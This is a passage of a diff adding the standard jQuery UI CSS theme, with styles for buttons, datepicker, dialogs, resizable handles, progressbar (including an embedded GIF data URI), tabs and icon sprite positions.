/* Support: IE <= 11 */ + overflow: visible; +} + +.ui-button, +.ui-button:link, +.ui-button:visited, +.ui-button:hover, +.ui-button:active { + text-decoration: none; +} + +/* to make room for the icon, a width needs to be set here */ +.ui-button-icon-only { + width: 2em; + box-sizing: border-box; + text-indent: -9999px; + white-space: nowrap; +} + +/* no icon support for input elements */ +input.ui-button.ui-button-icon-only { + text-indent: 0; +} + +/* button icon element(s) */ +.ui-button-icon-only .ui-icon { + position: absolute; + top: 50%; + left: 50%; + margin-top: -8px; + margin-left: -8px; +} + +.ui-button.ui-icon-notext .ui-icon { + padding: 0; + width: 2.1em; + height: 2.1em; + text-indent: -9999px; + white-space: nowrap; + +} + +input.ui-button.ui-icon-notext .ui-icon { + width: auto; + height: auto; + text-indent: 0; + white-space: normal; + padding: .4em 1em; +} + +/* workarounds */ +/* Support: Firefox 5 - 40 */ +input.ui-button::-moz-focus-inner, +button.ui-button::-moz-focus-inner { + border: 0; + padding: 0; +} +.ui-controlgroup { + vertical-align: middle; + display: inline-block; +} +.ui-controlgroup > .ui-controlgroup-item { + float: left; + margin-left: 0; + margin-right: 0; +} +.ui-controlgroup > .ui-controlgroup-item:focus, +.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus { + z-index: 9999; +} +.ui-controlgroup-vertical > .ui-controlgroup-item { + display: block; + float: none; + width: 100%; + margin-top: 0; + margin-bottom: 0; + text-align: left; +} +.ui-controlgroup-vertical .ui-controlgroup-item { + box-sizing: border-box; +} +.ui-controlgroup .ui-controlgroup-label { + padding: .4em 1em; +} +.ui-controlgroup .ui-controlgroup-label span { + font-size: 80%; +} +.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item { + border-left: none; +} +.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item { + border-top: none; +} +.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content { + border-right: none; +} +.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content { + border-bottom: none; +} + +/* Spinner specific style fixes */ +.ui-controlgroup-vertical .ui-spinner-input { + + /* Support: IE8 only, Android < 4.4 only */ + width: 75%; + width: calc( 100% - 2.4em ); +} +.ui-controlgroup-vertical .ui-spinner .ui-spinner-up { + border-top-style: solid; +} + +.ui-checkboxradio-label .ui-icon-background { + box-shadow: inset 1px 1px 1px #ccc; + border-radius: .12em; + border: none; +} +.ui-checkboxradio-radio-label .ui-icon-background { + width: 16px; + height: 16px; + border-radius: 1em; + overflow: visible; + border: none; +} +.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon, +.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon { + background-image: none; + width: 8px; + height: 8px; + border-width: 4px; + border-style: solid; +} +.ui-checkboxradio-disabled { + pointer-events: none; +} +.ui-datepicker { + width: 17em; + padding: .2em .2em 0; + display: none; +} +.ui-datepicker .ui-datepicker-header { + position: relative; + padding: .2em 0; +} +.ui-datepicker .ui-datepicker-prev, +.ui-datepicker .ui-datepicker-next { + position: absolute; + top: 2px; + width: 1.8em; + height: 1.8em; +} +.ui-datepicker .ui-datepicker-prev-hover, +.ui-datepicker .ui-datepicker-next-hover { + top: 1px; +} +.ui-datepicker .ui-datepicker-prev { + left: 2px; +} +.ui-datepicker .ui-datepicker-next { + right: 2px; +} +.ui-datepicker .ui-datepicker-prev-hover { + left: 1px; +} +.ui-datepicker .ui-datepicker-next-hover { + right: 1px; +} +.ui-datepicker .ui-datepicker-prev span, +.ui-datepicker .ui-datepicker-next span { + display: block; + position: absolute; + left: 50%; + margin-left: -8px; + top: 50%; + margin-top: -8px; +} +.ui-datepicker .ui-datepicker-title { + margin: 0 2.3em; + line-height: 1.8em; + text-align: center; +} +.ui-datepicker .ui-datepicker-title select { + font-size: 1em; + margin: 1px 0; +} +.ui-datepicker select.ui-datepicker-month, +.ui-datepicker select.ui-datepicker-year { + width: 45%; +} +.ui-datepicker table { + width: 100%; + font-size: .9em; + border-collapse: collapse; + margin: 0 0 .4em; +} +.ui-datepicker th { + padding: .7em .3em; + text-align: center; + font-weight: bold; + border: 0; +} +.ui-datepicker td { + border: 0; + padding: 1px; +} +.ui-datepicker td span, +.ui-datepicker td a { + display: block; + padding: .2em; + text-align: right; + text-decoration: none; +} +.ui-datepicker .ui-datepicker-buttonpane { + background-image: none; + margin: .7em 0 0 0; + padding: 0 .2em; + border-left: 0; + border-right: 0; + border-bottom: 0; +} +.ui-datepicker .ui-datepicker-buttonpane button { + float: right; + margin: .5em .2em .4em; + cursor: pointer; + padding: .2em .6em .3em .6em; + width: auto; + overflow: visible; +} +.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { + float: left; +} + +/* with multiple calendars */ +.ui-datepicker.ui-datepicker-multi { + width: auto; +} +.ui-datepicker-multi .ui-datepicker-group { + float: left; +} +.ui-datepicker-multi .ui-datepicker-group table { + width: 95%; + margin: 0 auto .4em; +} +.ui-datepicker-multi-2 .ui-datepicker-group { + width: 50%; +} +.ui-datepicker-multi-3 .ui-datepicker-group { + width: 33.3%; +} +.ui-datepicker-multi-4 .ui-datepicker-group { + width: 25%; +} +.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header, +.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { + border-left-width: 0; +} +.ui-datepicker-multi .ui-datepicker-buttonpane { + clear: left; +} +.ui-datepicker-row-break { + clear: both; + width: 100%; + font-size: 0; +} + +/* RTL support */ +.ui-datepicker-rtl { + direction: rtl; +} +.ui-datepicker-rtl .ui-datepicker-prev { + right: 2px; + left: auto; +} +.ui-datepicker-rtl .ui-datepicker-next { + left: 2px; + right: auto; +} +.ui-datepicker-rtl .ui-datepicker-prev:hover { + right: 1px; + left: auto; +} +.ui-datepicker-rtl .ui-datepicker-next:hover { + left: 1px; + right: auto; +} +.ui-datepicker-rtl .ui-datepicker-buttonpane { + clear: right; +} +.ui-datepicker-rtl .ui-datepicker-buttonpane button { + float: left; +} +.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current, +.ui-datepicker-rtl .ui-datepicker-group { + float: right; +} +.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header, +.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { + border-right-width: 0; + border-left-width: 1px; +} + +/* Icons */ +.ui-datepicker .ui-icon { + display: block; + text-indent: -99999px; + overflow: hidden; + background-repeat: no-repeat; + left: .5em; + top: .3em; +} +.ui-dialog { + position: absolute; + top: 0; + left: 0; + padding: .2em; + outline: 0; +} +.ui-dialog .ui-dialog-titlebar { + padding: .4em 1em; + position: relative; +} +.ui-dialog .ui-dialog-title { + float: left; + margin: .1em 0; + white-space: nowrap; + width: 90%; + overflow: hidden; + text-overflow: ellipsis; +} +.ui-dialog .ui-dialog-titlebar-close { + position: absolute; + right: .3em; + top: 50%; + width: 20px; + margin: -10px 0 0 0; + padding: 1px; + height: 20px; +} +.ui-dialog .ui-dialog-content { + position: relative; + border: 0; + padding: .5em 1em; + background: none; + overflow: auto; +} +.ui-dialog .ui-dialog-buttonpane { + text-align: left; + border-width: 1px 0 0 0; + background-image: none; + margin-top: .5em; + padding: .3em 1em .5em .4em; +} +.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { + float: right; +} +.ui-dialog .ui-dialog-buttonpane button { + margin: .5em .4em .5em 0; + cursor: pointer; +} +.ui-dialog .ui-resizable-n { + height: 2px; + top: 0; +} +.ui-dialog .ui-resizable-e { + width: 2px; + right: 0; +} +.ui-dialog .ui-resizable-s { + height: 2px; + bottom: 0; +} +.ui-dialog .ui-resizable-w { + width: 2px; + left: 0; +} +.ui-dialog .ui-resizable-se, +.ui-dialog .ui-resizable-sw, +.ui-dialog .ui-resizable-ne, +.ui-dialog .ui-resizable-nw { + width: 7px; + height: 7px; +} +.ui-dialog .ui-resizable-se { + right: 0; + bottom: 0; +} +.ui-dialog .ui-resizable-sw { + left: 0; + bottom: 0; +} +.ui-dialog .ui-resizable-ne { + right: 0; + top: 0; +} +.ui-dialog .ui-resizable-nw { + left: 0; + top: 0; +} +.ui-draggable .ui-dialog-titlebar { + cursor: move; +} +.ui-draggable-handle { + -ms-touch-action: none; + touch-action: none; +} +.ui-resizable { + position: relative; +} +.ui-resizable-handle { + position: absolute; + font-size: 0.1px; + display: block; + -ms-touch-action: none; + touch-action: none; +} +.ui-resizable-disabled .ui-resizable-handle, +.ui-resizable-autohide .ui-resizable-handle { + display: none; +} +.ui-resizable-n { + cursor: n-resize; + height: 7px; + width: 100%; + top: -5px; + left: 0; +} +.ui-resizable-s { + cursor: s-resize; + height: 7px; + width: 100%; + bottom: -5px; + left: 0; +} +.ui-resizable-e { + cursor: e-resize; + width: 7px; + right: -5px; + top: 0; + height: 100%; +} +.ui-resizable-w { + cursor: w-resize; + width: 7px; + left: -5px; + top: 0; + height: 100%; +} +.ui-resizable-se { + cursor: se-resize; + width: 12px; + height: 12px; + right: 1px; + bottom: 1px; +} +.ui-resizable-sw { + cursor: sw-resize; + width: 9px; + height: 9px; + left: -5px; + bottom: -5px; +} +.ui-resizable-nw { + cursor: nw-resize; + width: 9px; + height: 9px; + left: -5px; + top: -5px; +} +.ui-resizable-ne { + cursor: ne-resize; + width: 9px; + height: 9px; + right: -5px; + top: -5px; +} +.ui-progressbar { + height: 2em; + text-align: left; + overflow: hidden; +} +.ui-progressbar .ui-progressbar-value { + margin: -1px; + height: 100%; +} +.ui-progressbar .ui-progressbar-overlay { + background: url("data:image/gif;base64,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"); + height: 100%; + filter: alpha(opacity=25); /* support: IE8 */ + opacity: 0.25; +} +.ui-progressbar-indeterminate .ui-progressbar-value { + background-image: none; +} +.ui-selectable { + -ms-touch-action: none; + touch-action: none; +} +.ui-selectable-helper { + position: absolute; + z-index: 100; + border: 1px dotted black; +} +.ui-selectmenu-menu { + padding: 0; + margin: 0; + position: absolute; + top: 0; + left: 0; + display: none; +} +.ui-selectmenu-menu .ui-menu { + overflow: auto; + overflow-x: hidden; + padding-bottom: 1px; +} +.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup { + font-size: 1em; + font-weight: bold; + line-height: 1.5; + padding: 2px 0.4em; + margin: 0.5em 0 0 0; + height: auto; + border: 0; +} +.ui-selectmenu-open { + display: block; +} +.ui-selectmenu-text { + display: block; + margin-right: 20px; + overflow: hidden; + text-overflow: ellipsis; +} +.ui-selectmenu-button.ui-button { + text-align: left; + white-space: nowrap; + width: 14em; +} +.ui-selectmenu-icon.ui-icon { + float: right; + margin-top: 0; +} +.ui-slider { + position: relative; + text-align: left; +} +.ui-slider .ui-slider-handle { + position: absolute; + z-index: 2; + width: 1.2em; + height: 1.2em; + cursor: default; + -ms-touch-action: none; + touch-action: none; +} +.ui-slider .ui-slider-range { + position: absolute; + z-index: 1; + font-size: .7em; + display: block; + border: 0; + background-position: 0 0; +} + +/* support: IE8 - See #6727 */ +.ui-slider.ui-state-disabled .ui-slider-handle, +.ui-slider.ui-state-disabled .ui-slider-range { + filter: inherit; +} + +.ui-slider-horizontal { + height: .8em; +} +.ui-slider-horizontal .ui-slider-handle { + top: -.3em; + margin-left: -.6em; +} +.ui-slider-horizontal .ui-slider-range { + top: 0; + height: 100%; +} +.ui-slider-horizontal .ui-slider-range-min { + left: 0; +} +.ui-slider-horizontal .ui-slider-range-max { + right: 0; +} + +.ui-slider-vertical { + width: .8em; + height: 100px; +} +.ui-slider-vertical .ui-slider-handle { + left: -.3em; + margin-left: 0; + margin-bottom: -.6em; +} +.ui-slider-vertical .ui-slider-range { + left: 0; + width: 100%; +} +.ui-slider-vertical .ui-slider-range-min { + bottom: 0; +} +.ui-slider-vertical .ui-slider-range-max { + top: 0; +} +.ui-sortable-handle { + -ms-touch-action: none; + touch-action: none; +} +.ui-spinner { + position: relative; + display: inline-block; + overflow: hidden; + padding: 0; + vertical-align: middle; +} +.ui-spinner-input { + border: none; + background: none; + color: inherit; + padding: .222em 0; + margin: .2em 0; + vertical-align: middle; + margin-left: .4em; + margin-right: 2em; +} +.ui-spinner-button { + width: 1.6em; + height: 50%; + font-size: .5em; + padding: 0; + margin: 0; + text-align: center; + position: absolute; + cursor: default; + display: block; + overflow: hidden; + right: 0; +} +/* more specificity required here to override default borders */ +.ui-spinner a.ui-spinner-button { + border-top-style: none; + border-bottom-style: none; + border-right-style: none; +} +.ui-spinner-up { + top: 0; +} +.ui-spinner-down { + bottom: 0; +} +.ui-tabs { + position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ + padding: .2em; +} +.ui-tabs .ui-tabs-nav { + margin: 0; + padding: .2em .2em 0; +} +.ui-tabs .ui-tabs-nav li { + list-style: none; + float: left; + position: relative; + top: 0; + margin: 1px .2em 0 0; + border-bottom-width: 0; + padding: 0; + white-space: nowrap; +} +.ui-tabs .ui-tabs-nav .ui-tabs-anchor { + float: left; + padding: .5em 1em; + text-decoration: none; +} +.ui-tabs .ui-tabs-nav li.ui-tabs-active { + margin-bottom: -1px; + padding-bottom: 1px; +} +.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor, +.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor, +.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor { + cursor: text; +} +.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor { + cursor: pointer; +} +.ui-tabs .ui-tabs-panel { + display: block; + border-width: 0; + padding: 1em 1.4em; + background: none; +} +.ui-tooltip { + padding: 8px; + position: absolute; + z-index: 9999; + max-width: 300px; +} +body .ui-tooltip { + border-width: 2px; +} +/* Component containers +----------------------------------*/ +.ui-widget { + font-family: Arial,Helvetica,sans-serif; + font-size: 1em; +} +.ui-widget .ui-widget { + font-size: 1em; +} +.ui-widget input, +.ui-widget select, +.ui-widget textarea, +.ui-widget button { + font-family: Arial,Helvetica,sans-serif; + font-size: 1em; +} +.ui-widget.ui-widget-content { + border: 1px solid #c5c5c5; +} +.ui-widget-content { + border: 1px solid #dddddd; + background: #ffffff; + color: #333333; +} +.ui-widget-content a { + color: #333333; +} +.ui-widget-header { + border: 1px solid #dddddd; + background: #e9e9e9; + color: #333333; + font-weight: bold; +} +.ui-widget-header a { + color: #333333; +} + +/* Interaction states +----------------------------------*/ +.ui-state-default, +.ui-widget-content .ui-state-default, +.ui-widget-header .ui-state-default, +.ui-button, + +/* We use html here because we need a greater specificity to make sure disabled +works properly when clicked or hovered */ +html .ui-button.ui-state-disabled:hover, +html .ui-button.ui-state-disabled:active { + border: 1px solid #c5c5c5; + background: #f6f6f6; + font-weight: normal; + color: #454545; +} +.ui-state-default a, +.ui-state-default a:link, +.ui-state-default a:visited, +a.ui-button, +a:link.ui-button, +a:visited.ui-button, +.ui-button { + color: #454545; + text-decoration: none; +} +.ui-state-hover, +.ui-widget-content .ui-state-hover, +.ui-widget-header .ui-state-hover, +.ui-state-focus, +.ui-widget-content .ui-state-focus, +.ui-widget-header .ui-state-focus, +.ui-button:hover, +.ui-button:focus { + border: 1px solid #cccccc; + background: #ededed; + font-weight: normal; + color: #2b2b2b; +} +.ui-state-hover a, +.ui-state-hover a:hover, +.ui-state-hover a:link, +.ui-state-hover a:visited, +.ui-state-focus a, +.ui-state-focus a:hover, +.ui-state-focus a:link, +.ui-state-focus a:visited, +a.ui-button:hover, +a.ui-button:focus { + color: #2b2b2b; + text-decoration: none; +} + +.ui-visual-focus { + box-shadow: 0 0 3px 1px rgb(94, 158, 214); +} +.ui-state-active, +.ui-widget-content .ui-state-active, +.ui-widget-header .ui-state-active, +a.ui-button:active, +.ui-button:active, +.ui-button.ui-state-active:hover { + border: 1px solid #003eff; + background: #007fff; + font-weight: normal; + color: #ffffff; +} +.ui-icon-background, +.ui-state-active .ui-icon-background { + border: #003eff; + background-color: #ffffff; +} +.ui-state-active a, +.ui-state-active a:link, +.ui-state-active a:visited { + color: #ffffff; + text-decoration: none; +} + +/* Interaction Cues +----------------------------------*/ +.ui-state-highlight, +.ui-widget-content .ui-state-highlight, +.ui-widget-header .ui-state-highlight { + border: 1px solid #dad55e; + background: #fffa90; + color: #777620; +} +.ui-state-checked { + border: 1px solid #dad55e; + background: #fffa90; +} +.ui-state-highlight a, +.ui-widget-content .ui-state-highlight a, +.ui-widget-header .ui-state-highlight a { + color: #777620; +} +.ui-state-error, +.ui-widget-content .ui-state-error, +.ui-widget-header .ui-state-error { + border: 1px solid #f1a899; + background: #fddfdf; + color: #5f3f3f; +} +.ui-state-error a, +.ui-widget-content .ui-state-error a, +.ui-widget-header .ui-state-error a { + color: #5f3f3f; +} +.ui-state-error-text, +.ui-widget-content .ui-state-error-text, +.ui-widget-header .ui-state-error-text { + color: #5f3f3f; +} +.ui-priority-primary, +.ui-widget-content .ui-priority-primary, +.ui-widget-header .ui-priority-primary { + font-weight: bold; +} +.ui-priority-secondary, +.ui-widget-content .ui-priority-secondary, +.ui-widget-header .ui-priority-secondary { + opacity: .7; + filter:Alpha(Opacity=70); /* support: IE8 */ + font-weight: normal; +} +.ui-state-disabled, +.ui-widget-content .ui-state-disabled, +.ui-widget-header .ui-state-disabled { + opacity: .35; + filter:Alpha(Opacity=35); /* support: IE8 */ + background-image: none; +} +.ui-state-disabled .ui-icon { + filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */ +} + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { + width: 16px; + height: 16px; +} +.ui-icon, +.ui-widget-content .ui-icon { + background-image: url("images/ui-icons_444444_256x240.png"); +} +.ui-widget-header .ui-icon { + background-image: url("images/ui-icons_444444_256x240.png"); +} +.ui-state-hover .ui-icon, +.ui-state-focus .ui-icon, +.ui-button:hover .ui-icon, +.ui-button:focus .ui-icon { + background-image: url("images/ui-icons_555555_256x240.png"); +} +.ui-state-active .ui-icon, +.ui-button:active .ui-icon { + background-image: url("images/ui-icons_ffffff_256x240.png"); +} +.ui-state-highlight .ui-icon, +.ui-button .ui-state-highlight.ui-icon { + background-image: url("images/ui-icons_777620_256x240.png"); +} +.ui-state-error .ui-icon, +.ui-state-error-text .ui-icon { + background-image: url("images/ui-icons_cc0000_256x240.png"); +} +.ui-button .ui-icon { + background-image: url("images/ui-icons_777777_256x240.png"); +} + +/* positioning */ +.ui-icon-blank { background-position: 16px 16px; } +.ui-icon-caret-1-n { background-position: 0 0; } +.ui-icon-caret-1-ne { background-position: -16px 0; } +.ui-icon-caret-1-e { background-position: -32px 0; } +.ui-icon-caret-1-se { background-position: -48px 0; } +.ui-icon-caret-1-s { background-position: -65px 0; } +.ui-icon-caret-1-sw { background-position: -80px 0; } +.ui-icon-caret-1-w { background-position: -96px 0; } +.ui-icon-caret-1-nw { background-position: -112px 0; } +.ui-icon-caret-2-n-s { background-position: -128px 0; } +.ui-icon-caret-2-e-w { background-position: -144px 0; } +.ui-icon-triangle-1-n { background-position: 0 -16px; } +.ui-icon-triangle-1-ne { background-position: -16px -16px; } +.ui-icon-triangle-1-e { background-position: -32px -16px; } +.ui-icon-triangle-1-se { background-position: -48px -16px; } +.ui-icon-triangle-1-s { background-position: -65px -16px; } +.ui-icon-triangle-1-sw { background-position: -80px -16px; } +.ui-icon-triangle-1-w { background-position: -96px -16px; } +.ui-icon-triangle-1-nw { background-position: -112px -16px; } +.ui-icon-triangle-2-n-s { background-position: -128px -16px; } +.ui-icon-triangle-2-e-w { background-position: -144px -16px; } +.ui-icon-arrow-1-n { background-position: 0 -32px; } +.ui-icon-arrow-1-ne { background-position: -16px -32px; } +.ui-icon-arrow-1-e { background-position: -32px -32px; } +.ui-icon-arrow-1-se { background-position: -48px -32px; } +.ui-icon-arrow-1-s { background-position: -65px -32px; } +.ui-icon-arrow-1-sw { background-position: -80px -32px; } +.ui-icon-arrow-1-w { background-position: -96px -32px; } +.ui-icon-arrow-1-nw { background-position: -112px -32px; } +.ui-icon-arrow-2-n-s { background-position: -128px -32px; } +.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } +.ui-icon-arrow-2-e-w { background-position: -160px -32px; } +.ui-icon-arrow-2-se-nw { background-position: -176px -32px; } +.ui-icon-arrowstop-1-n { background-position: -192px -32px; } +.ui-icon-arrowstop-1-e { background-position: -208px -32px; } +.ui-icon-arrowstop-1-s { background-position: -224px -32px; } +.ui-icon-arrowstop-1-w { background-position: -240px -32px; } +.ui-icon-arrowthick-1-n { background-position: 1px -48px; } +.ui-icon-arrowthick-1-ne { background-position: -16px -48px; } +.ui-icon-arrowthick-1-e { background-position: -32px -48px; } +.ui-icon-arrowthick-1-se { background-position: -48px -48px; } +.ui-icon-arrowthick-1-s { background-position: -64px -48px; } +.ui-icon-arrowthick-1-sw { background-position: -80px -48px; } +.ui-icon-arrowthick-1-w { background-position: -96px -48px; } +.ui-icon-arrowthick-1-nw { background-position: -112px -48px; } +.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } +.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } +.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } +.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } +.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } +.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } +.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } +.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } +.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } +.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } +.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } +.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } +.ui-icon-arrowreturn-1-w { background-position: -64px -64px; } +.ui-icon-arrowreturn-1-n { background-position: -80px -64px; } +.ui-icon-arrowreturn-1-e { background-position: -96px -64px; } +.ui-icon-arrowreturn-1-s { background-position: -112px -64px; } +.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } +.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } +.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } +.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } +.ui-icon-arrow-4 { background-position: 0 -80px; } +.ui-icon-arrow-4-diag { background-position: -16px -80px; } +.ui-icon-extlink { background-position: -32px -80px; } +.ui-icon-newwin { background-position: -48px -80px; } +.ui-icon-refresh { background-position: -64px -80px; } +.ui-icon-shuffle { background-position: -80px -80px; } +.ui-icon-transfer-e-w { background-position: -96px -80px; } +.ui-icon-transferthick-e-w { background-position: -112px -80px; } +.ui-icon-folder-collapsed { background-position: 0 -96px; } +.ui-icon-folder-open { background-position: -16px -96px; } +.ui-icon-document { background-position: -32px -96px; } +.ui-icon-document-b { background-position: -48px -96px; } +.ui-icon-note { background-position: -64px -96px; } +.ui-icon-mail-closed { background-position: -80px -96px; } +.ui-icon-mail-open { background-position: -96px -96px; } +.ui-icon-suitcase { background-position: -112px -96px; } +.ui-icon-comment { background-position: -128px -96px; } +.ui-icon-person { background-position: -144px -96px; } +.ui-icon-print { background-position: -160px -96px; } +.ui-icon-trash { background-position: -176px -96px; } +.ui-icon-locked { background-position: -192px -96px; } +.ui-icon-unlocked { background-position: -208px -96px; } +.ui-icon-bookmark { background-position: -224px -96px; } +.ui-icon-tag { background-position: -240px -96px; } +.ui-icon-home { background-position: 0 -112px; } +.ui-icon-flag { background-position: -16px -112px; } +.ui-icon-calendar { background-position: -32px -112px; } +.ui-icon-cart { background-position: -48px -112px; } +.ui-icon-pencil { background-position: -64px -112px; } +.ui-icon-clock { background-position: -80px -112px; } +.ui-icon-disk { background-position: -96px -112px; } +.ui-icon-calculator { background-position: -112px -112px; } +.ui-icon-zoomin { background-position: -128px -112px; } +.ui-icon-zoomout { background-position: -144px -112px; } +.ui-icon-search { background-position: -160px -112px; } +.ui-icon-wrench { background-position: -176px -112px; } +.ui-icon-gear { background-position: -192px -112px; } +.ui-icon-heart { background-position: -208px -112px; } +.ui-icon-star { background-position: -224px -112px; } +.ui-icon-link { background-position: -240px -112px; } +.ui-icon-cancel { background-position: 0 -128px; } +.ui-icon-plus { background-position: -16px -128px; } +.ui-icon-plusthick { background-position: -32px -128px; } +.ui-icon-minus { background-position: -48px -128px; } +.ui-icon-minusthick { background-position: -64px -128px; } +.ui-icon-close { background-position: -80px -128px; } +.ui-icon-closethick { background-position: -96px -128px; } +.ui-icon-key { background-position: -112px -128px; } +.ui-icon-lightbulb { background-position: -128px -128px; } +.ui-icon-scissors { background-position: -144px -128px; } +.ui-icon-clipboard { background-position: -160px -128px; } +.ui-icon-copy { background-position: -176px -128px; } +.ui-icon-contact { background-position: -192px -128px; } +.ui-icon-image { background-position: -208px -128px; } +.ui-icon-video { background-position: -224px -128px; } +.ui-icon-script { background-position: -240px -128px; } +.ui-icon-alert { background-position: 0 -144px; } +.ui-icon-info { background-position: -16px -144px; } +.ui-icon-notice { background-position: -32px -144px; } +.ui-icon-help { background-position: -48px -144px; } +.ui-icon-check { background-position: -64px -144px; } +.ui-icon-bullet { background-position: -80px -144px; } +.ui-icon-radio-on { background-position: -96px -144px; } +.ui-icon-radio-off { background-position: -112px -144px; } +.ui-icon-pin-w { background-position: -128px -144px; } +.ui-icon-pin-s { background-position: -144px -144px; } +.ui-icon-play { background-position: 0 -160px; } +.ui-icon-pause { background-position: -16px -160px; } +.ui-icon-seek-next { background-position: -32px -160px; } +.ui-icon-seek-prev { 